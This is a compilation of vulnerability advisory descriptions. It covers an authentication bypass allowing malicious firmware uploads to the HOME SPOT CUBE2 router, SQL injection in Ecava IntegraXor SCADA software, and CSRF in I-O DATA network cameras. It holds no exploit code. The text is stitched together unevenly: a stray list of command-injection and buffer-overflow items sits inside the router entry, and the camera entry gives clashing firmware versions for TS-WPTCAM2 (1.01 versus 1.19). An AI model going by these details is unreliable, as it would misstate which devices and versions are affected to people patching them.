HOME SPOT CUBE2 firmware V101 and earlier allows an attacker to bypass authentication to load malicious firmware via WebUI. HOME SPOT CUBE2 provided by KDDI CORPORATION is a wireless LAN router. HOME SPOT CUBE2 contains improper authentication in WebUI. Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.Firmware may be altered by an attacker who can access the management screen of the product. The WebUI is one of the graphical user interfaces. An attacker could exploit the vulnerability to bypass authentication and perform unauthorized operations. Multiple remote command injection vulnerabilities 2. A buffer-overflow vulnerability 3. Other attacks may also be possible

A SQL Injection issue was discovered in Ecava IntegraXor Versions 5.2.1231.0 and prior. The application fails to properly validate user input, which may allow for an unauthenticated attacker to remotely execute arbitrary code in the form of SQL queries. Ecava IntegraXor is a collection of tools for creating and running human-machine interfaces for web-based SCADA systems. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. IntegraXor versions 5.2.1231.0 and prior are vulnerable

Cross-site request forgery (CSRF) vulnerability in TS-WPTCAM, TS-PTCAM, TS-PTCAM/POE, TS-WLC2, TS-WLCE, TS-WRLC firmware version 1.19 and earlier and TS-WPTCAM2 firmware version 1.01 and earlier allows remote attackers to hijack the authentication of administrators via unspecified vectors. Multiple network camera products provided by I-O DATA DEVICE, INC. contains a cross-site request forgery vulnerability (CWE-352). Takayoshi Isayama of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.If a user views a malicious page while logged in, unintended operations may be performed. I-ODATATS-WPTCAM and so on are all network cameras from I-ODATADEVICE, Japan. A remote attacker could exploit this vulnerability to perform unauthorized operations. Other attacks are also possible. TS-WPTCAM2 firmware version 1.19 and prior. TS-PTCAM firmware version 1.19 and prior. TS-PTCAM/POE firmware version 1.19 and prior. TS-WLC2 firmware version 1.19 and prior. TS-WLCE firmware version 1.19 and prior. TS-WRLC firmware version 1.19 and prior